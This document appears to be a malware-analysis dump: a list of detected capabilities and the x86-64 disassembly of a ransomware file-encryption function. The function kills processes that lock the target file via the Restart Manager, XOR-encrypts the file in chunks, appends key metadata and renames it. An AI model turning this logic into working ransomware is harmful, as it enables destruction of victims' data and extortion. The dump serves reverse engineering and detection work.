Function at 0x1400181e0
Capabilities:
Create restart manager session
Enumerate processes that use resource
Move file
Read file on windows
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x360
mov r12, rcx
xor esi, esi
lea rax, [rcx + 0x10]
mov qword [rsp + 0x100], rax
mov rcx, qword [rax]
mov rdx, qword [0x140061d80]
movabs rax, 0x7ffffffffffffffe
sub rax, rcx
cmp rax, rdx
jb 0x140019150
mov r9, r12
lea r15, [r12 + 0x18]
mov qword [rsp + 0x68], r15
cmp qword [r15], 8
jb 0x14001823f
mov r9, qword [r12]
lea rax, [0x140061d70]
cmp qword [0x140061d88], 8
cmovae rax, qword [0x140061d70]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x160]
call fcn.1400087a0
nop
mov rcx, r12
cmp qword [r15], 8
jb 0x140018280
mov rcx, qword [r12]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x50], rax
cmp rax, 0xffffffffffffffff
jne 0x140018507
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r12
cmp qword [r15], 8
jb 0x1400182c8
mov rdx, qword [r12]
mov r8d, eax
lea rcx, str.____Encrypt__Can_t_open:__s__error:_0x_X_n
call fcn.140001db0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
je 0x1400182f1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x21
jne 0x14001907a
mov rax, r12
cmp qword [r15], 8
jb 0x1400182fe
mov rax, qword [r12]
mov dword [rsp + 0x40], 0xffffffff
mov qword [rsp + 0xf0], rax
mov edi, esi
mov dword [rsp + 0x3b8], esi
mov dword [rsp + 0x60], esi
mov dword [rsp + 0x64], esi
mov rbx, rsi
lea r8, [rsp + 0x2f0]
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x140018473
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rsp + 0xf0]
lea edx, [rax + 1]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
mov r14, 0xffffffffffffffff
test eax, eax
jne 0x14001847a
nop dword [rax]
nop dword [rax + rax]
lea rax, [rsp + 0x64]
mov qword [rsp + 0x20], rax
mov r9, rbx
lea r8, [rsp + 0x3b8]
lea rdx, [rsp + 0x60]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
je 0x1400183f6
cmp eax, 0xea
jne 0x140018464
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x3b8], eax
test rbx, rbx
je 0x1400183d2
mov rcx, rbx
call fcn.140024d14
mov eax, dword [rsp + 0x3b8]
mov ecx, eax
mov eax, 0x29c
mul rcx
cmovo rax, r14
mov rcx, rax
call fcn.140024d60
mov rbx, rax
mov eax, edi
inc edi
cmp eax, 3
jb 0x140018380
jmp 0x140018464
cmp dword [rsp + 0x64], 0
jne 0x140018464
xor r8d, r8d
xor edx, edx
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.RstrtMgr.DLL_RmShutdown]
test eax, eax
jne 0x140018464
mov edi, esi
cmp dword [rsp + 0x3b8], esi
jbe 0x140018464
nop dword [rax + rax]
mov eax, edi
imul r8, rax, 0x29c
mov r8d, dword [r8 + rbx]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
test rax, rax
je 0x140018454
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rsp + 0x3b8]
jb 0x140018420
mov r15, qword [rsp + 0x68]
test rbx, rbx
je 0x14001847a
mov rcx, rbx
call fcn.140024d14
jmp 0x14001847a
mov r14, 0xffffffffffffffff
mov ecx, dword [rsp + 0x40]
cmp ecx, 0xffffffff
je 0x140018489
call qword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov qword [rsp + 0xf8], 4
lea rcx, [rsp + 0xf8]
call fcn.14001e540
mov rcx, r12
cmp qword [r15], 8
jb 0x1400184af
mov rcx, qword [r12]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x50], rax
cmp rax, 0xffffffffffffffff
jne 0x14001850e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r12
cmp qword [r15], 8
jb 0x1400184f3
mov rdx, qword [r12]
mov r8d, eax
lea rcx, str.____Encrypt__Can_t_open_after_unlock:__s__error:_0x_X_n
call fcn.140001db0
jmp 0x14001907a
mov r14, 0xffffffffffffffff
mov rdi, rax
mov qword [rsp + 0x58], rax
xor r13b, r13b
mov byte [rsp + 0x3b0], r13b
mov byte [rsp + 0x3a8], r13b
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xd8], xmm0
mov qword [rsp + 0xe8], rsi
movdqu xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xc0], rsi
lea rcx, [0x140069558]
call sub.KERNEL32.dll_AcquireSRWLockShared
nop
lea rdx, [0x1400695b0]
lea rcx, [rsp + 0xd8]
call fcn.140014c80
lea rdx, [0x1400695c8]
lea rcx, [rsp + 0xb0]
call fcn.140014c80
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0xa0], rax
sub rax, qword [rsp + 0xb0]
cmp rax, 0x100
jne 0x1400185bd
mov rax, qword [rsp + 0xe0]
sub rax, qword [rsp + 0xd8]
cmp rax, 0x28
jne 0x1400185bd
mov bl, 1
jmp 0x1400185bf
xor bl, bl
mov byte [rsp + 0x3a8], bl
jmp 0x1400185f8
lea rcx, [0x140069558]
call sub.KERNEL32.dll_ReleaseSRWLockShared
test bl, bl
je 0x140018fd1
mov r13, qword [r12 + 0x20]
cmp dword [0x140061c00], 0
je 0x140018675
mov rcx, r12
cmp qword [r15], 8
jb 0x140018627
mov rcx, qword [r12]
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov r15, rax
mov rbx, qword [0x140061ca8]
mov rdi, qword [0x140061cb0]
cmp rbx, rdi
je 0x140018666
mov rdx, rbx
cmp qword [rbx + 0x18], 8
jb 0x140018650
mov rdx, qword [rbx]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140018675
add rbx, 0x20
cmp rbx, rdi
jne 0x140018643
mov eax, dword [0x140061c00]
cmp qword [r12 + 0x20], rax
cmovg r13, rax
mov r8, qword [0x140061c60]
mov rbx, r8
mov rdx, qword [0x140061c58]
sub rbx, rdx
mov rdi, qword [rsp + 0xa0]
sub rdi, qword [rsp + 0xb0]
add rbx, 0x14
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], rsi
add rbx, rdi
je 0x140018700
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140019156
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.140009770
mov r15, qword [rsp + 0x70]
add rbx, r15
mov r8, rbx
sub r8, r15
xor edx, edx
mov rcx, r15
call fcn.140027290
mov qword [rsp + 0x78], rbx
mov r8, qword [0x140061c60]
mov rdx, qword [0x140061c58]
jmp 0x14001870a
mov rbx, qword [rsp + 0x78]
mov r15, qword [rsp + 0x70]
sub r8, rdx
mov rcx, r15
call fcn.140026bf0
mov rcx, qword [0x140061c60]
sub rcx, qword [0x140061c58]
add rcx, r15
mov r8, rdi
mov rdx, qword [rsp + 0xb0]
call fcn.140026bf0
mov rax, qword [0x140061c60]
sub rax, qword [0x140061c58]
lea rdx, [r15 + rdi]
mov qword [rdx + rax], r13
mov rcx, qword [0x140061c60]
sub rcx, qword [0x140061c58]
mov eax, dword [0x140069524]
mov dword [rdx + rcx + 8], eax
mov rcx, qword [0x140061c60]
sub rcx, qword [0x140061c58]
add rcx, rdi
mov eax, dword [0x140061c04]
mov dword [rcx + r15 + 0xc], eax
mov rcx, qword [0x140061c60]
sub rcx, qword [0x140061c58]
add rcx, rdi
mov eax, dword [0x14006952c]
mov dword [rcx + r15 + 0x10], eax
mov qword [rsp + 0x140], rsi
mov qword [rsp + 0x148], rsi
mov qword [rsp + 0x158], rsi
mov eax, dword [r12 + 0x20]
mov dword [rsp + 0x150], eax
mov eax, dword [r12 + 0x24]
mov dword [rsp + 0x154], eax
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x44], esi
sub rbx, r15
lea rax, [rsp + 0x140]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x48]
mov r8d, ebx
mov rdx, r15
mov rdi, qword [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140018f0c
mov eax, dword [rsp + 0x48]
cmp rax, rbx
jne 0x140018f0c
mov eax, dword [0x140061c04]
mov rcx, r13
cmp r13, rax
cmovg rcx, rax
mov qword [rsp + 0xa0], rcx
mov rbx, rsi
cmp dword [0x140069514], 1
jne 0x140018cf4
mov byte [rsp + 0x3a8], 0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], rsi
mov r8, rsi
mov qword [rsp + 0x58], rsi
mov rdx, rsi
psrldq xmm0, 8
movq qword [rsp + 0x90], xmm0
nop
cmp rbx, r13
je 0x140018b66
cmp byte [rsp + 0x3a8], 0
jne 0x140018b66
mov r15, r13
sub r15, rbx
cmp rcx, r15
cmovb r15, rcx
mov qword [rsp + 0x210], rbx
mov qword [rsp + 0x218], r15
mov qword [rsp + 0x220], rdi
mov qword [rsp + 0x228], rdx
mov qword [rsp + 0x230], r8
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x238], rax
lea rax, [rsp + 0x3a8]
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x248], rcx
mov ecx, 0x120
call fcn.140024d1c
mov rdi, rax
mov qword [rsp + 0x1e8], rax
lea rdx, [rsp + 0x210]
mov rcx, rax
call fcn.1400204f0
nop
lea rax, vtable.std::_Task_async_state_unsigned_long_int_.0
mov qword [rdi], rax
lea r14, [rdi + 0x110]
mov qword [r14], rsi
mov qword [r14 + 8], rsi
lea rax, [rsp + 0x180]
mov qword [rsp + 0x1f0], rax
call fcn.140016700
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x140018944
lock inc dword [rcx + 8]
mov rcx, qword [rax]
mov qword [rsp + 0x130], rcx
mov rax, qword [rax + 8]
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x180], rcx
mov qword [rsp + 0x188], rax
mov qword [rsp + 0x190], rcx
mov qword [rsp + 0x198], rsi
lea rcx, [rsp + 0x1a0]
call fcn.140023f14
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x1c0], xmm0
mov qword [rsp + 0x1d0], rsi
mov qword [rsp + 0x1b8], rsi
mov byte [rsp + 0x1b0], 0
mov word [rsp + 0x1d8], 0
lea r8, [rsp + 0x180]
mov rdx, rdi
lea rcx, [rsp + 0x200]
call fcn.1400205f0
cmp r14, rax
je 0x1400189de
mov rdx, rax
mov rcx, r14
call fcn.14001e340
mov r14, qword [rsp + 0x208]
test r14, r14
je 0x140018a1c
mov eax, 0xffffffff
lock xadd dword [r14 + 8], eax
cmp eax, 1
jne 0x140018a1c
mov rax, qword [r14]
mov rcx, r14
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [r14 + 0xc], eax
cmp eax, 1
jne 0x140018a1c
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 8]
mov byte [rdi + 0xc2], 1
mov qword [rsp + 0xc8], rdi
mov byte [rsp + 0xd0], 1
lock inc dword [rdi + 8]
mov r14, 0xffffffffffffffff
mov eax, r14d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140018a6f
mov rcx, qword [rdi + 0xc8]
test rcx, rcx
je 0x140018a61
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax]
jmp 0x140018a6f
mov rax, qword [rdi]
mov edx, 1
mov rcx, rdi
call qword [rax]
nop
mov rax, qword [rsp + 0x90]
cmp rax, qword [rsp + 0x98]
je 0x140018a9e
mov rcx, rsi
mov qword [rsp + 0xc8], rcx
mov qword [rax], rdi
mov byte [rax + 8], 1
add qword [rsp + 0x90], 0x10
jmp 0x140018ac3
lea r8, [rsp + 0xc8]
mov rdx, qword [rsp + 0x90]
lea rcx, [rsp + 0x88]
call fcn.14001f410
mov rcx, qword [rsp + 0xc8]
test rcx, rcx
je 0x140018b00
mov eax, r14d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140018b00
mov rcx, qword [rsp + 0xc8]
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x140018af6
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x140018b00
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
add rbx, r15
mov rax, r15
shr rax, 6
mov r8, qword [rsp + 0x58]
add r8, rax
mov qword [rsp + 0x58], r8
and r15d, 0x3f
mov edx, 0x40
sub rdx, r15
mov r15, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x50]
cmp dword [0x140069524], 1
je 0x140018b43
mov rcx, qword [rsp + 0xa0]
jmp 0x140018870
mov rcx, r13
sub rcx, rbx
mov eax, dword [0x14006952c]
cmp rax, rcx
cmovge rax, rcx
add rbx, rax
mov rcx, qword [rsp + 0xa0]
jmp 0x140018870
mov rbx, rsi
cmp byte [rsp + 0x3a8], 0
jne 0x140018c3e
mov rcx, rsi
mov qword [rsp + 0x58], rcx
mov rax, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x88]
sub rax, rdi
sar rax, 4
cmp rcx, rax
jae 0x140018c46
mov rax, rcx
shl rax, 4
add rax, rdi
mov rdi, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0xa0], rdi
mov byte [rsp + 0xa8], 1
test rdi, rdi
je 0x14001915c
cmp byte [rdi + 0xb8], 0
jne 0x14001915c
mov rax, qword [rdi]
mov dl, 1
mov rcx, rdi
call qword [rax + 0x10]
mov r15d, dword [rax]
mov eax, r14d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140018c13
mov rcx, qword [rdi + 0xc8]
test rcx, rcx
je 0x140018c06
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax]
jmp 0x140018c13
mov rax, qword [rdi]
mov edx, 1
mov rcx, rdi
call qword [rax]
add rbx, r15
mov rcx, r13
sub rcx, rbx
mov eax, dword [0x14006952c]
cmp rax, rcx
cmovge rax, rcx
add rbx, rax
mov rcx, qword [rsp + 0x58]
inc rcx
mov r15, qword [rsp + 0x70]
jmp 0x140018b7a
mov rdi, qword [rsp + 0x88]
test rdi, rdi
je 0x140018eaa
cmp rdi, qword [rsp + 0x90]
je 0x140018cb3
nop dword [rax]
mov rcx, qword [rdi]
test rcx, rcx
je 0x140018c98
mov eax, r14d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140018c98
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x140018c8e
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x140018c98
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
add rdi, 0x10
cmp rdi, qword [rsp + 0x90]
jne 0x140018c60
mov r15, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x98]
sub rdx, rdi
and rdx, 0xfffffffffffffff0
mov rax, rdi
cmp rdx, 0x1000
jb 0x140018ce7
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019167
mov rcx, rdi
call fcn.140024d14
jmp 0x140018eaa
call fcn.140024d60
mov rdi, rax
mov qword [rsp + 0x3a8], rax
mov r14, qword [rsp + 0xa0]
mov r8, r14
xor edx, edx
mov rcx, rax
call fcn.140027290
mov rdx, qword [rsp + 0xd8]
lea r8, [rdx + 0x20]
lea rcx, [rsp + 0x260]
call fcn.140015760
mov qword [rsp + 0x2e0], 0x40
mov qword [rsp + 0x290], 0
test r13, r13
je 0x140018ea2
nop dword [rax]
nop word [rax + rax]
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rsi
mov qword [rsp + 0x128], rsi
mov dword [rsp + 0x120], ebx
mov rax, rbx
shr rax, 0x20
mov dword [rsp + 0x124], eax
mov r15, r13
sub r15, rbx
cmp r14, r15
cmovb r15, r14
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x44]
mov r8d, r15d
mov rdx, rdi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140018e9d
mov r8d, dword [rsp + 0x44]
mov r14d, r8d
cmp r8, r15
jne 0x140018e9d
test r8d, r8d
je 0x140018e3c
mov rax, qword [rsp + 0x2e0]
cmp rax, 0x40
jb 0x140018e09
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0x260]
call fcn.140015d40
mov rax, rsi
mov qword [rsp + 0x2e0], rax
movzx eax, byte [rsp + rax + 0x2a0]
xor byte [rdi], al
mov rax, qword [rsp + 0x2e0]
inc rax
mov qword [rsp + 0x2e0], rax
inc rdi
sub r14, 1
jne 0x140018de3
mov r8d, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x3a8]
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x48]
mov rdx, rdi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140018e9d
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jne 0x140018e9d
add rbx, r15
cmp dword [0x140069524], 1
jne 0x140018e8c
mov rdx, r13
sub rdx, rbx
mov eax, dword [0x14006952c]
cmp rax, rdx
cmovge rax, rdx
add rbx, rax
cmp rbx, r13
mov r14, qword [rsp + 0xa0]
jne 0x140018d60
mov r15, qword [rsp + 0x70]
mov rcx, rdi
call fcn.140024d14
cmp rbx, r13
jne 0x140018ed6
mov rdx, r12
mov r14, qword [rsp + 0x68]
cmp qword [r14], 8
jb 0x140018ec1
mov rdx, qword [r12]
lea rcx, str.___Encrypt__Encrypted:__s_n
call fcn.140001db0
mov bl, 1
mov rdi, qword [rsp + 0x50]
jmp 0x140018f3b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r12
mov r14, qword [rsp + 0x68]
cmp qword [r14], 8
jb 0x140018eee
mov rdx, qword [r12]
mov qword [rsp + 0x20], r13
mov r9, rbx
mov r8d, eax
lea rcx, str.____Encrypt__Not_encrypted:__s__error:_0x_X___lld____lld_n
call fcn.140001db0
mov rdi, qword [rsp + 0x50]
jmp 0x140018f33
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r12
mov r14, qword [rsp + 0x68]
cmp qword [r14], 8
jb 0x140018f24
mov rdx, qword [r12]
mov r8d, eax
lea rcx, str.____Encrypt__Can_t_write_information:__s__error:_0x_X_n
call fcn.140001db0
movzx ebx, byte [rsp + 0x3b0]
test r15, r15
je 0x140018f78
mov rdx, qword [rsp + 0x80]
sub rdx, r15
mov rax, r15
cmp rdx, 0x1000
jb 0x140018f70
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001916d
mov rcx, r15
call fcn.140024d14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x140018ff4
lea rdx, [rsp + 0x160]
cmp qword [rsp + 0x178], 8
cmovae rdx, qword [rsp + 0x160]
mov rcx, r12
cmp qword [r14], 8
jb 0x140018fac
mov rcx, qword [r12]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x140018ff4
mov rdx, r12
cmp qword [r14], 8
jb 0x140018fc3
mov rdx, qword [r12]
lea rcx, str.____Encrypt__Not_moved:__s_n
call fcn.140001db0
jmp 0x140018ff4
mov rdx, r12
cmp qword [r15], 8
jb 0x140018fde
mov rdx, qword [r12]
lea rcx, str.____Encrypt__Can_t_run_for:__s_n
call fcn.140001db0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rsp + 0xb0]
test rcx, rcx
je 0x140019037
mov rdx, qword [rsp + 0xc0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019031
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019173
call fcn.140024d14
nop
mov rcx, qword [rsp + 0xd8]
test rcx, rcx
je 0x14001907a
mov rdx, qword [rsp + 0xe8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019074
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019179
call fcn.140024d14
nop
mov rdx, qword [rsp + 0x178]
cmp rdx, 8
jb 0x1400190c3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400190bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001917f
call fcn.140024d14
nop
jmp 0x1400190cf
test r12, r12
je 0x140019137
mov rdx, qword [r12 + 0x18]
cmp rdx, 8
jb 0x140019111
lea rdx, [rdx*2 + 2]
mov rcx, qword [r12]
cmp rdx, 0x1000
jb 0x14001910c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001914a
mov rcx, r8
call fcn.140024d14
mov rax, qword [rsp + 0x100]
mov qword [rax], rsi
mov qword [r12 + 0x18], 7
mov word [r12], si
mov edx, 0x28
mov rcx, r12
call fcn.140024d14
add rsp, 0x360
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
call fcn.140035a34
nop
call fcn.1400016c0
nop
call fcn.140006060
nop
mov ecx, 4
call fcn.140017bc0
nop
call fcn.140035a34
nop
call fcn.140035a34
nop
call fcn.140035a34
nop
call fcn.140035a34
nop
call fcn.140035a34
int3